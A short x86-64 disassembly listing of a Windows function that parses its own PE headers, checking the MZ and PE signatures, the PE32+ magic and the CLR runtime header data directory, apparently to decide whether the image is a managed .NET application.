sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000269a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000269a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000269a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000269a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000269a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000269c
xor al, al
add rsp, 0x28
ret